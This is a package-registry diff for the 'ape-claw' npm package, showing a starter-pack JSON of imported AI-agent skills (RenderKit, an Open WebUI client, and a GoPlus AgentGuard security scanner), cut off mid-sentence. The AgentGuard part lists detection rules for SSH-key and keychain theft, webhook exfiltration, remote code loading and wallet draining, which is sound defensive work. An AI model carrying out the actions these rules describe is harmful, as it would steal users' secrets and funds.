ape-claw 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (114) hide show
  1. package/.cursor/skills/ape-claw/SKILL.md +322 -0
  2. package/LICENSE +21 -0
  3. package/README.md +826 -0
  4. package/allowlists/opensea-slug-overrides.json +13 -0
  5. package/allowlists/recommended.apechain.json +322 -0
  6. package/config/clawbots.example.json +3 -0
  7. package/config/policy.example.json +27 -0
  8. package/data/starter-pack-bundle.json +1 -0
  9. package/data/starter-pack.json +495 -0
  10. package/docs/ACP_BOUNTIES.md +108 -0
  11. package/docs/APECLAW_V2_ALPHA.md +206 -0
  12. package/docs/AUTONOMY_AND_SUBSTRATE.md +69 -0
  13. package/docs/CLAWBOTS_AND_INVITES.md +102 -0
  14. package/docs/CLI_GUIDE.md +124 -0
  15. package/docs/CONTRIBUTING.md +130 -0
  16. package/docs/DASHBOARD_GUIDE.md +108 -0
  17. package/docs/GLOBAL_BACKEND.md +145 -0
  18. package/docs/ONCHAIN_V2_GUIDE.md +140 -0
  19. package/docs/PRODUCT_OVERVIEW.md +127 -0
  20. package/docs/README.md +40 -0
  21. package/docs/SKILLCARDS_AND_IMPORTER.md +147 -0
  22. package/docs/STARTER_PACK.md +297 -0
  23. package/docs/SUPPORTED_NETWORKS.md +58 -0
  24. package/docs/TELEMETRY_AND_EVENTS.md +103 -0
  25. package/docs/THE_POD_RUNNER.md +198 -0
  26. package/docs/V1_WORKFLOWS.md +108 -0
  27. package/docs/V2_ONCHAIN_SKILLS.md +157 -0
  28. package/docs/WEB4_PLAN_STATUS.md +95 -0
  29. package/docs/WEB4_SWARM_MODEL.md +104 -0
  30. package/docs/archive/AUTONOMY_AND_SUBSTRATE.md +66 -0
  31. package/docs/archive/WEB4_PLAN_STATUS.md +93 -0
  32. package/docs/archive/WEB4_SWARM_MODEL.md +98 -0
  33. package/docs/developer/01-architecture.md +345 -0
  34. package/docs/developer/02-contracts.md +1034 -0
  35. package/docs/developer/03-writing-modules.md +513 -0
  36. package/docs/developer/04-skillcard-spec.md +336 -0
  37. package/docs/developer/05-backend-api.md +1079 -0
  38. package/docs/developer/06-telemetry.md +798 -0
  39. package/docs/developer/07-testing.md +546 -0
  40. package/docs/developer/08-contributing.md +211 -0
  41. package/docs/operator/01-quickstart.md +49 -0
  42. package/docs/operator/02-dashboard.md +174 -0
  43. package/docs/operator/03-cli-reference.md +818 -0
  44. package/docs/operator/04-skills-library.md +169 -0
  45. package/docs/operator/05-pod-operations.md +314 -0
  46. package/docs/operator/06-deployment.md +299 -0
  47. package/docs/operator/07-safety-and-policy.md +311 -0
  48. package/docs/operator/08-troubleshooting.md +457 -0
  49. package/docs/operator/09-env-reference.md +238 -0
  50. package/docs/social/STARTER_PACK_THREAD.md +209 -0
  51. package/package.json +77 -0
  52. package/skillcards/import-sources.json +93 -0
  53. package/skillcards/seed/acp-bounty-poll.v1.json +38 -0
  54. package/skillcards/seed/acp-bounty-post.v1.json +55 -0
  55. package/skillcards/seed/acp-browse.v1.json +41 -0
  56. package/skillcards/seed/acp-fulfill-and-route.v1.json +56 -0
  57. package/skillcards/seed/apeclaw-bridge-relay.v1.json +46 -0
  58. package/skillcards/seed/apeclaw-nft-autobuy.v1.json +60 -0
  59. package/skillcards/seed/apeclaw-receipt-recorder.v1.json +64 -0
  60. package/skillcards/seed/humanizer.v1.json +74 -0
  61. package/skillcards/seed/otherside-navigator.v1.json +116 -0
  62. package/skillcards/seed/stonkbrokers-launcher.v1.json +280 -0
  63. package/skillcards/seed/walkie-p2p.v1.json +66 -0
  64. package/src/cli/index.mjs +8 -0
  65. package/src/cli.mjs +1929 -0
  66. package/src/lib/bridge-relay.mjs +294 -0
  67. package/src/lib/clawbots.mjs +94 -0
  68. package/src/lib/io.mjs +36 -0
  69. package/src/lib/market.mjs +233 -0
  70. package/src/lib/nft-opensea.mjs +159 -0
  71. package/src/lib/paths.mjs +17 -0
  72. package/src/lib/pod-init.mjs +40 -0
  73. package/src/lib/policy.mjs +112 -0
  74. package/src/lib/rpc.mjs +49 -0
  75. package/src/lib/telemetry.mjs +92 -0
  76. package/src/lib/v2-onchain-abi.mjs +294 -0
  77. package/src/lib/v2-skillcard.mjs +27 -0
  78. package/src/server/index.mjs +169 -0
  79. package/src/server/logger.mjs +21 -0
  80. package/src/server/middleware/auth.mjs +90 -0
  81. package/src/server/middleware/body-limit.mjs +35 -0
  82. package/src/server/middleware/cors.mjs +33 -0
  83. package/src/server/middleware/rate-limit.mjs +44 -0
  84. package/src/server/routes/chat.mjs +178 -0
  85. package/src/server/routes/clawbots.mjs +182 -0
  86. package/src/server/routes/events.mjs +95 -0
  87. package/src/server/routes/health.mjs +72 -0
  88. package/src/server/routes/pod.mjs +64 -0
  89. package/src/server/routes/quotes.mjs +161 -0
  90. package/src/server/routes/skills.mjs +239 -0
  91. package/src/server/routes/static.mjs +161 -0
  92. package/src/server/routes/v2.mjs +48 -0
  93. package/src/server/sse.mjs +73 -0
  94. package/src/server/storage/file-backend.mjs +295 -0
  95. package/src/server/storage/index.mjs +37 -0
  96. package/src/server/storage/sqlite-backend.mjs +380 -0
  97. package/src/telemetry-server.mjs +1604 -0
  98. package/ui/css/dashboard.css +792 -0
  99. package/ui/css/skills.css +689 -0
  100. package/ui/docs.html +840 -0
  101. package/ui/favicon-180.png +0 -0
  102. package/ui/favicon-192.png +0 -0
  103. package/ui/favicon-32.png +0 -0
  104. package/ui/favicon-lobster.png +0 -0
  105. package/ui/favicon.svg +10 -0
  106. package/ui/index.html +2957 -0
  107. package/ui/js/dashboard.js +1766 -0
  108. package/ui/js/skills.js +1621 -0
  109. package/ui/pod.html +909 -0
  110. package/ui/shared/motion.css +286 -0
  111. package/ui/shared/motion.js +170 -0
  112. package/ui/shared/sidebar-nav.css +379 -0
  113. package/ui/shared/sidebar-nav.js +137 -0
  114. package/ui/skills.html +2879 -0
@@ -0,0 +1 @@
1
+ {"version": 1, "count": 61, "description": "The 61 best ApeClaw skills across productivity, dev tools, security, analytics, automation, and more. Install with ape-claw skill install --starter-pack.", "skills": [{"slug": "clawhub-renderkit", "name": "RenderKit Skill", "category": "NFT", "description": "Render structured data as beautiful hosted web pages, and create hosted forms for data collection.", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "RenderKit Skill", "slug": "clawhub-renderkit", "version": "1.0.0", "description": "--- name: renderkit version: \"1.3.5\" description: Render structured data as beautiful hosted web pages, and create hosted forms for data collection, using the RenderKit API. Use this for visual pages, surveys, RSVPs, feedback forms, or any structured data. metadata: openclaw: requires: env: - RENDERKIT_API_KEY bins: - curl primaryEnv: RENDERKIT_API_KEY homepage: https://renderkit.live ---", "documentation_md": "---\nname: renderkit\nversion: \"1.3.5\"\ndescription: Render structured data as beautiful hosted web pages, and create hosted forms for data collection, using the RenderKit API. Use this for visual pages, surveys, RSVPs, feedback forms, or any structured data.\nmetadata:\n openclaw:\n requires:\n env:\n - RENDERKIT_API_KEY\n bins:\n - curl\n primaryEnv: RENDERKIT_API_KEY\n homepage: https://renderkit.live\n---\n\n# RenderKit Skill\n\nRender structured data as beautiful hosted web pages, and create hosted forms for data collection.\n\n## Setup\n\n1. Sign up at [https://renderkit.live](https://renderkit.live) to get your API key\n2. Set your environment variable:\n\n```bash\nexport RENDERKIT_API_KEY=\"your-api-key\"\n```\n\n## Usage\n\nAll commands use curl to hit the RenderKit API. Pick the right endpoint:\n\n- **Read-only pages** (results, summaries, comparisons, itineraries) \u2192 `POST /v1/render`\n- **Data collection** (forms, surveys, RSVPs, signups, feedback) \u2192 `POST /v1/forms`\n\n### Create a page\n\n```bash\ncurl -s -X POST https://renderkit.live/v1/render \\\n -H \"Authorization: Bearer $RENDERKIT_API_KEY\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"template\": \"freeform\",\n \"context\": \"brief description of what this content is\",\n \"data\": {\n \"title\": \"Page Title\",\n \"content\": \"your data here \u2014 markdown, structured objects, anything\"\n }\n }'\n```\n\nReturns `url`, `slug`, and `render_id`. Templates: `freeform` (AI picks layout) or `travel_itinerary`.\n\n### Update a page\n\n```bash\ncurl -s -X PATCH https://renderkit.live/v1/render/{render_id} \\\n -H \"Authorization: Bearer $RENDERKIT_API_KEY\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"strategy\": \"merge\",\n \"context\": \"updated description\",\n \"data\": { \"content\": \"new or additional data\" }\n }'\n```\n\nStrategies: `merge` (add sections) or `replace` (full rewrite). The URL stays the same.\n\n### Check page status\n\n```bash\ncurl -s https://renderkit.live/v1/render/{render_id}/status \\\n -H \"Authorization: Bearer $RENDERKIT_API_KEY\"\n```\n\n### Create a form\n\n```bash\ncurl -s -X POST https://renderkit.live/v1/forms \\\n -H \"Authorization: Bearer $RENDERKIT_API_KEY\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"title\": \"Event RSVP\",\n \"prompt\": \"Create an RSVP form for a dinner party. Ask for name, email, dietary restrictions, and plus-one.\",\n \"multi_response\": true,\n \"expires_in\": 604800\n }'\n```\n\nReturns a `url` to share with respondents. You can also provide explicit `fields` instead of a `prompt`.\n\n### Get form responses\n\n```bash\ncurl -s https://renderkit.live/v1/forms/{form_id}/responses \\\n -H \"Authorization: Bearer $RENDERKIT_API_KEY\"\n```\n\n### Close a form\n\n```bash\ncurl -s -X DELETE https://renderkit.live/v1/forms/{form_id} \\\n -H \"Authorization: Bearer $RENDERKIT_API_KEY\"\n```\n\n## Notes\n\n- Never use `/v1/render` to fake a form \u2014 it produces a static page that cannot collect responses\n- Include URLs inline in your data \u2014 they are automatically enriched with images, ratings, and metadata\n- Optionally pass a theme: `\"theme\": { \"mode\": \"dark\", \"palette\": [\"#color1\", \"#color2\"] }`\n- Updates (PATCH) are free and don't count toward your quota\n- If you rendered a page in this conversation, prefer PATCH over POST for follow-up changes\n- Full API docs: [https://renderkit.live/docs.md](https://renderkit.live/docs.md)\n\n## Examples\n\n```bash\n# Create a travel itinerary page\ncurl -s -X POST https://renderkit.live/v1/render \\\n -H \"Authorization: Bearer $RENDERKIT_API_KEY\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"template\":\"travel_itinerary\",\"context\":\"3-day Paris trip\",\"data\":{\"title\":\"Paris Weekend\",\"content\":\"Day 1: Louvre, lunch at Loulou, Seine walk. Day 2: Montmartre, Sacr\u00e9-C\u0153ur.\"}}'\n\n# Create a feedback survey\ncurl -s -X POST https://renderkit.live/v1/forms \\\n -H \"Authorization: Bearer $RENDERKIT_API_KEY\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"title\":\"Team Feedback\",\"prompt\":\"Create a short feedback form with rating (1-5) and open comments\",\"multi_response\":true}'\n\n# Check for new form submissions\ncurl -s https://renderkit.live/v1/forms/{form_id}/status \\\n -H \"Authorization: Bearer $RENDERKIT_API_KEY\"\n```\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/antoinedc/renderkit/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/antoinedc/renderkit/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/antoinedc/renderkit/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/antoinedc/renderkit/SKILL.md", "commit": "dff1d5eb06"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/antoinedc/renderkit/SKILL.md", "importedAt": "2026-02-18T19:26:30.735Z"}}}}, {"slug": "clawhub-open-webui", "name": "Open WebUI API Skill", "category": "NFT", "description": "Complete API integration for Open WebUI - a unified interface for LLMs including Ollama, OpenAI, and other providers.", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Open WebUI API Skill", "slug": "clawhub-open-webui", "version": "1.0.0", "description": "--- name: open-webui description: Complete Open WebUI API integration for managing LLM models, chat completions, Ollama proxy operations, file uploads, knowledge bases (RAG), image generation, audio processing, and pipelines. Use this skill when interacting with Open WebUI instances via REST API - listing models, chatting with LLMs, uploading files for RAG, managing knowledge collections, or executing Ollama commands through the Open WebUI proxy. Requires OPENWEBUI_URL and OPENWEBUI_TOKEN environment variables or explicit parameters. compatibility: Requires Python 3.8+ with requests library, or curl. Works with any Open WebUI instance (local or remote). Internet access required for external instances. ---", "documentation_md": "---\nname: open-webui\ndescription: Complete Open WebUI API integration for managing LLM models, chat completions, Ollama proxy operations, file uploads, knowledge bases (RAG), image generation, audio processing, and pipelines. Use this skill when interacting with Open WebUI instances via REST API - listing models, chatting with LLMs, uploading files for RAG, managing knowledge collections, or executing Ollama commands through the Open WebUI proxy. Requires OPENWEBUI_URL and OPENWEBUI_TOKEN environment variables or explicit parameters.\ncompatibility: Requires Python 3.8+ with requests library, or curl. Works with any Open WebUI instance (local or remote). Internet access required for external instances.\n---\n\n# Open WebUI API Skill\n\nComplete API integration for Open WebUI - a unified interface for LLMs including Ollama, OpenAI, and other providers.\n\n## When to Use\n\n**Activate this skill when the user wants to:**\n- List available models from their Open WebUI instance\n- Send chat completions to models through Open WebUI\n- Upload files for RAG (Retrieval Augmented Generation)\n- Manage knowledge collections and add files to them\n- Use Ollama proxy endpoints (generate, embed, pull models)\n- Generate images or process audio through Open WebUI\n- Check Ollama status or manage models (load, unload, delete)\n- Create or manage pipelines\n\n**Do NOT activate for:**\n- Installing or configuring Open WebUI server itself (use system admin skills)\n- General questions about what Open WebUI is (use general knowledge)\n- Troubleshooting Open WebUI server issues (use troubleshooting guides)\n- Local file operations unrelated to Open WebUI API\n\n## Prerequisites\n\n### Environment Variables (Recommended)\n\n```bash\nexport OPENWEBUI_URL=\"http://localhost:3000\" # Your Open WebUI instance URL\nexport OPENWEBUI_TOKEN=\"your-api-key-here\" # From Settings > Account in Open WebUI\n```\n\n### Authentication\n\n- Bearer Token authentication required\n- Token obtained from Open WebUI: **Settings > Account**\n- Alternative: JWT token for advanced use cases\n\n## Activation Triggers\n\n**Example requests that SHOULD activate this skill:**\n\n1. \"List all models available in my Open WebUI\"\n2. \"Send a chat completion to llama3.2 via Open WebUI with prompt 'Explain quantum computing'\"\n3. \"Upload /path/to/document.pdf to Open WebUI knowledge base\"\n4. \"Create a new knowledge collection called 'Research Papers' in Open WebUI\"\n5. \"Generate an embedding for 'Open WebUI is great' using the nomic-embed-text model\"\n6. \"Pull the llama3.2 model through Open WebUI Ollama proxy\"\n7. \"Get Ollama status from my Open WebUI instance\"\n8. \"Chat with gpt-4 using my Open WebUI with RAG enabled on collection 'docs'\"\n9. \"Generate an image using Open WebUI with prompt 'A futuristic city'\"\n10. \"Delete the old-model from Open WebUI Ollama\"\n\n**Example requests that should NOT activate this skill:**\n\n1. \"How do I install Open WebUI?\" (Installation/Admin)\n2. \"What is Open WebUI?\" (General knowledge)\n3. \"Configure the Open WebUI environment variables\" (Server config)\n4. \"Troubleshoot why Open WebUI won't start\" (Server troubleshooting)\n5. \"Compare Open WebUI to other UIs\" (General comparison)\n\n## Workflow\n\n### 1. Configuration Check\n\n- Verify `OPENWEBUI_URL` and `OPENWEBUI_TOKEN` are set\n- Validate URL format (http/https)\n- Test connection with GET /api/models or /ollama/api/tags\n\n### 2. Operation Execution\n\nUse the CLI tool or direct API calls:\n\n```bash\n# Using the CLI tool (recommended)\npython3 scripts/openwebui-cli.py --help\npython3 scripts/openwebui-cli.py models list\npython3 scripts/openwebui-cli.py chat --model llama3.2 --message \"Hello\"\n\n# Using curl (alternative)\ncurl -H \"Authorization: Bearer $OPENWEBUI_TOKEN\" \\\n \"$OPENWEBUI_URL/api/models\"\n```\n\n### 3. Response Handling\n\n- HTTP 200: Success - parse and present JSON\n- HTTP 401: Authentication failed - check token\n- HTTP 404: Endpoint/model not found\n- HTTP 422: Validation error - check request parameters\n\n## Core API Endpoints\n\n### Chat & Completions\n\n| Endpoint | Method | Description |\n|----------|--------|-------------|\n| `/api/chat/completions` | POST | OpenAI-compatible chat completions |\n| `/api/models` | GET | List all available models |\n| `/ollama/api/chat` | POST | Native Ollama chat completion |\n| `/ollama/api/generate` | POST | Ollama text generation |\n\n### Ollama Proxy\n\n| Endpoint | Method | Description |\n|----------|--------|-------------|\n| `/ollama/api/tags` | GET | List Ollama models |\n| `/ollama/api/pull` | POST | Pull/download a model |\n| `/ollama/api/delete` | DELETE | Delete a model |\n| `/ollama/api/embed` | POST | Generate embeddings |\n| `/ollama/api/ps` | GET | List loaded models |\n\n### RAG & Knowledge\n\n| Endpoint | Method | Description |\n|----------|--------|-------------|\n| `/api/v1/files/` | POST | Upload file for RAG |\n| `/api/v1/files/{id}/process/status` | GET | Check file processing status |\n| `/api/v1/knowledge/` | GET/POST | List/create knowledge collections |\n| `/api/v1/knowledge/{id}/file/add` | POST | Add file to knowledge base |\n\n### Images & Audio\n\n| Endpoint | Method | Description |\n|----------|--------|-------------|\n| `/api/v1/images/generations` | POST | Generate images |\n| `/api/v1/audio/speech` | POST | Text-to-speech |\n| `/api/v1/audio/transcriptions` | POST | Speech-to-text |\n\n## Safety & Boundaries\n\n### Confirmation Required\n\nAlways confirm before:\n- **Deleting models** (`DELETE /ollama/api/delete`) - Irreversible\n- **Pulling large models** - May take significant time/bandwidth\n- **Deleting knowledge collections** - Data loss risk\n- **Uploading sensitive files** - Privacy consideration\n\n### Redaction & Security\n\n- **Never log the full API token** - Redact to `sk-...XXXX` format\n- **Sanitize file paths** - Verify files exist before upload\n- **Validate URLs** - Ensure HTTPS for external instances\n- **Handle errors gracefully** - Don't expose stack traces with tokens\n\n### Workspace Safety\n\n- File uploads default to workspace directory\n- Confirm before accessing files outside workspace\n- No sudo/root operations required (pure API client)\n\n## Examples\n\n### List Models\n\n```bash\npython3 scripts/openwebui-cli.py models list\n```\n\n### Chat Completion\n\n```bash\npython3 scripts/openwebui-cli.py chat \\\n --model llama3.2 \\\n --message \"Explain the benefits of RAG\" \\\n --stream\n```\n\n### Upload File for RAG\n\n```bash\npython3 scripts/openwebui-cli.py files upload \\\n --file /path/to/document.pdf \\\n --process\n```\n\n### Add File to Knowledge Base\n\n```bash\npython3 scripts/openwebui-cli.py knowledge add-file \\\n --collection-id \"research-papers\" \\\n --file-id \"doc-123-uuid\"\n```\n\n### Generate Embeddings (Ollama)\n\n```bash\npython3 scripts/openwebui-cli.py ollama embed \\\n --model nomic-embed-text \\\n --input \"Open WebUI is great for LLM management\"\n```\n\n### Pull Model (Confirmation Required)\n\n```bash\npython3 scripts/openwebui-cli.py ollama pull \\\n --model llama3.2:70b\n# Agent must confirm: \"This will download ~40GB. Proceed? [y/N]\"\n```\n\n### Check Ollama Status\n\n```bash\npython3 scripts/openwebui-cli.py ollama status\n```\n\n## Error Handling\n\n| Error | Cause | Solution |\n|-------|-------|----------|\n| 401 Unauthorized | Invalid or missing token | Verify OPENWEBUI_TOKEN |\n| 404 Not Found | Model/endpoint doesn't exist | Check model name spelling |\n| 422 Validation Error | Invalid parameters | Check request body format |\n| 400 Bad Request | File still processing | Wait for processing completion |\n| Connection refused | Wrong URL | Verify OPENWEBUI_URL |\n\n## Edge Cases\n\n### File Processing Race Condition\n\nFiles uploaded for RAG are processed asynchronously. Before adding to knowledge:\n1. Upload file \u2192 get file_id\n2. Poll `/api/v1/files/{id}/process/status` until `status: \"completed\"`\n3. Then add to knowledge collection\n\n### Large Model Downloads\n\nPulling models (e.g., 70B parameters) can take hours. Always:\n- Confirm with user before starting\n- Show progress if possible\n- Allow cancellation\n\n### Streaming Responses\n\nChat completions support streaming. Use `--stream` flag for real-time output or collect full response for non-streaming.\n\n## CLI Tool Reference\n\nThe included CLI tool (`scripts/openwebui-cli.py`) provides:\n- Automatic authentication from environment variables\n- Structured JSON output with optional formatting\n- Built-in help for all commands\n- Error handling with user-friendly messages\n- Progress indicators for long operations\n\nRun `python3 scripts/openwebui-cli.py --help` for full usage.\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/0x7466/open-webui/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/0x7466/open-webui/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/0x7466/open-webui/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/0x7466/open-webui/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/0x7466/open-webui/SKILL.md", "importedAt": "2026-02-18T19:24:20.623Z"}}}}, {"slug": "clawhub-security", "name": "GoPlus AgentGuard \u2014 AI Agent Security Framework", "category": "Security", "description": "You are a security auditor powered by the GoPlus AgentGuard framework. Route the user's request based on the first argument.", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "GoPlus AgentGuard \u2014 AI Agent Security Framework", "slug": "clawhub-security", "version": "1.0.0", "description": "--- name: agentguard description: GoPlus AgentGuard \u2014 AI agent security guard. Automatically blocks dangerous commands, prevents data leaks, and protects secrets. Use when reviewing third-party code, auditing skills, checking for vulnerabilities, evaluating action safety, or viewing security logs. user-invocable: true allowed-tools: Read, Grep, Glob, Bash(node *) argument-hint: \"[scan|action|trust|report|config] [args...]\" ---", "documentation_md": "---\nname: agentguard\ndescription: GoPlus AgentGuard \u2014 AI agent security guard. Automatically blocks dangerous commands, prevents data leaks, and protects secrets. Use when reviewing third-party code, auditing skills, checking for vulnerabilities, evaluating action safety, or viewing security logs.\nuser-invocable: true\nallowed-tools: Read, Grep, Glob, Bash(node *)\nargument-hint: \"[scan|action|trust|report|config] [args...]\"\n---\n\n# GoPlus AgentGuard \u2014 AI Agent Security Framework\n\nYou are a security auditor powered by the GoPlus AgentGuard framework. Route the user's request based on the first argument.\n\n## Command Routing\n\nParse `$ARGUMENTS` to determine the subcommand:\n\n- **`scan <path>`** \u2014 Scan a skill or codebase for security risks\n- **`action <description>`** \u2014 Evaluate whether a runtime action is safe\n- **`trust <lookup|attest|revoke|list> [args]`** \u2014 Manage skill trust levels\n- **`report`** \u2014 View recent security events from the audit log\n- **`config <strict|balanced|permissive>`** \u2014 Set protection level\n\nIf no subcommand is given, or the first argument is a path, default to **scan**.\n\n---\n\n## Subcommand: scan\n\nScan the target path for security risks using all detection rules.\n\n### File Discovery\n\nUse Glob to find all scannable files at the given path. Include: `*.js`, `*.ts`, `*.jsx`, `*.tsx`, `*.mjs`, `*.cjs`, `*.py`, `*.json`, `*.yaml`, `*.yml`, `*.toml`, `*.sol`, `*.sh`, `*.bash`, `*.md`\n\n**Markdown scanning**: For `.md` files, only scan inside fenced code blocks (between ``` markers) to reduce false positives. Additionally, decode and re-scan any base64-encoded payloads found in all files.\n\nSkip directories: `node_modules`, `dist`, `build`, `.git`, `coverage`, `__pycache__`, `.venv`, `venv`\nSkip files: `*.min.js`, `*.min.css`, `package-lock.json`, `yarn.lock`, `pnpm-lock.yaml`\n\n### Detection Rules\n\nFor each rule, use Grep to search the relevant file types. Record every match with file path, line number, and matched content. For detailed rule patterns, see [scan-rules.md](scan-rules.md).\n\n| # | Rule ID | Severity | File Types | Description |\n|---|---------|----------|------------|-------------|\n| 1 | SHELL_EXEC | HIGH | js,ts,mjs,cjs,py,md | Command execution capabilities |\n| 2 | AUTO_UPDATE | CRITICAL | js,ts,py,sh,md | Auto-update / download-and-execute |\n| 3 | REMOTE_LOADER | CRITICAL | js,ts,mjs,py,md | Dynamic code loading from remote |\n| 4 | READ_ENV_SECRETS | MEDIUM | js,ts,mjs,py | Environment variable access |\n| 5 | READ_SSH_KEYS | CRITICAL | all | SSH key file access |\n| 6 | READ_KEYCHAIN | CRITICAL | all | System keychain / browser profiles |\n| 7 | PRIVATE_KEY_PATTERN | CRITICAL | all | Hardcoded private keys |\n| 8 | MNEMONIC_PATTERN | CRITICAL | all | Hardcoded mnemonic phrases |\n| 9 | WALLET_DRAINING | CRITICAL | js,ts,sol | Approve + transferFrom patterns |\n| 10 | UNLIMITED_APPROVAL | HIGH | js,ts,sol | Unlimited token approvals |\n| 11 | DANGEROUS_SELFDESTRUCT | HIGH | sol | selfdestruct in contracts |\n| 12 | HIDDEN_TRANSFER | MEDIUM | sol | Non-standard transfer implementations |\n| 13 | PROXY_UPGRADE | MEDIUM | sol,js,ts | Proxy upgrade patterns |\n| 14 | FLASH_LOAN_RISK | MEDIUM | sol,js,ts | Flash loan usage |\n| 15 | REENTRANCY_PATTERN | HIGH | sol | External call before state change |\n| 16 | SIGNATURE_REPLAY | HIGH | sol | ecrecover without nonce |\n| 17 | OBFUSCATION | HIGH | js,ts,mjs,py,md | Code obfuscation techniques |\n| 18 | PROMPT_INJECTION | CRITICAL | all | Prompt injection attempts |\n| 19 | NET_EXFIL_UNRESTRICTED | HIGH | js,ts,mjs,py,md | Unrestricted POST / upload |\n| 20 | WEBHOOK_EXFIL | CRITICAL | all | Webhook exfiltration domains |\n| 21 | TROJAN_DISTRIBUTION | CRITICAL | md | Trojanized binary download + password + execute |\n| 22 | SUSPICIOUS_PASTE_URL | HIGH | all | URLs to paste sites (pastebin, glot.io, etc.) |\n| 23 | SUSPICIOUS_IP | MEDIUM | all | Hardcoded public IPv4 addresses |\n| 24 | SOCIAL_ENGINEERING | MEDIUM | md | Pressure language + execution instructions |\n\n### Risk Level Calculation\n\n- Any **CRITICAL** finding -> Overall **CRITICAL**\n- Else any **HIGH** finding -> Overall **HIGH**\n- Else any **MEDIUM** finding -> Overall **MEDIUM**\n- Else -> **LOW**\n\n### Output Format\n\n```\n## GoPlus AgentGuard Security Scan Report\n\n**Target**: <scanned path>\n**Risk Level**: CRITICAL | HIGH | MEDIUM | LOW\n**Files Scanned**: <count>\n**Total Findings**: <count>\n\n### Findings\n\n| # | Risk Tag | Severity | File:Line | Evidence |\n|---|----------|----------|-----------|----------|\n| 1 | TAG_NAME | critical | path/file.ts:42 | `matched content` |\n\n### Summary\n<Human-readable summary of key risks, impact, and recommendations>\n```\n\n### Post-Scan Trust Registration\n\nAfter outputting the scan report, if the scanned target appears to be a skill (contains a `SKILL.md` file, or is located under a `skills/` directory), offer to register it in the trust registry.\n\n**Risk-to-trust mapping**:\n\n| Scan Risk Level | Suggested Trust Level | Preset | Action |\n|---|---|---|---|\n| LOW | `trusted` | `read_only` | Offer to register |\n| MEDIUM | `restricted` | `none` | Offer to register with warning |\n| HIGH / CRITICAL | \u2014 | \u2014 | Warn the user; do not suggest registration |\n\n**Registration steps** (if the user agrees):\n\n1. Derive the skill identity:\n - `id`: the directory name of the scanned path\n - `source`: the absolute path to the scanned directory\n - `version`: read the `version` field from `package.json` in the scanned directory (if present), otherwise use `unknown`\n - `hash`: compute by running `node scripts/trust-cli.ts hash --path <scanned_path>` and extracting the `hash` field from the JSON output\n2. Register via: `node scripts/trust-cli.ts attest --id <id> --source <source> --version <version> --hash <hash> --trust-level <level> --preset <preset> --reviewed-by agentguard-scan --notes \"Auto-registered after scan. Risk level: <risk_level>.\" --force`\n3. Show the registration result to the user.\n\nIf scripts are not available (e.g., `npm install` was not run), skip this step and suggest the user run `cd skills/agentguard/scripts && npm install`.\n\n---\n\n## Subcommand: action\n\nEvaluate whether a proposed runtime action should be allowed, denied, or require confirmation. For detailed policies and detector rules, see [action-policies.md](action-policies.md).\n\n### Supported Action Types\n\n- `network_request` \u2014 HTTP/HTTPS requests\n- `exec_command` \u2014 Shell command execution\n- `read_file` / `write_file` \u2014 File system operations\n- `secret_access` \u2014 Environment variable access\n- `web3_tx` \u2014 Blockchain transactions\n- `web3_sign` \u2014 Message signing\n\n### Decision Framework\n\nParse the user's action description and apply the appropriate detector:\n\n**Network Requests**: Check domain against webhook list and high-risk TLDs, check body for secrets\n**Command Execution**: Check against dangerous/sensitive/system/network command lists, detect shell injection\n**Secret Access**: Classify secret type and apply priority-based risk levels\n**Web3 Transactions**: Check for unlimited approvals, unknown spenders, user presence\n\n### Default Policies\n\n| Scenario | Decision |\n|----------|----------|\n| Private key exfiltration | **DENY** (always) |\n| Mnemonic exfiltration | **DENY** (always) |\n| API secret exfiltration | CONFIRM |\n| Command execution | **DENY** (default) |\n| Unlimited approval | CONFIRM |\n| Unknown spender | CONFIRM |\n| Untrusted domain | CONFIRM |\n| Body contains secret | **DENY** |\n\n### Web3 Enhanced Detection\n\nWhen the action involves **web3_tx** or **web3_sign**, use the action-cli script to invoke the ActionScanner (which integrates the trust registry and GoPlus API):\n\nFor web3_tx:\n```\nnode scripts/action-cli.ts decide --type web3_tx --chain-id <id> --from <addr> --to <addr> --value <wei> [--data <calldata>] [--origin <url>] [--user-present]\n```\n\nFor web3_sign:\n```\nnode scripts/action-cli.ts decide --type web3_sign --chain-id <id> --signer <addr> [--message <msg>] [--typed-data <json>] [--origin <url>] [--user-present]\n```\n\nFor standalone transaction simulation:\n```\nnode scripts/action-cli.ts simulate --chain-id <id> --from <addr> --to <addr> --value <wei> [--data <calldata>] [--origin <url>]\n```\n\nThe `decide` command also works for non-Web3 actions (exec_command, network_request, etc.) and automatically resolves the skill's trust level and capabilities from the registry:\n\n```\nnode scripts/action-cli.ts decide --type exec_command --command \"<cmd>\" [--skill-source <source>] [--skill-id <id>]\n```\n\nParse the JSON output and incorporate findings into your evaluation:\n- If `decision` is 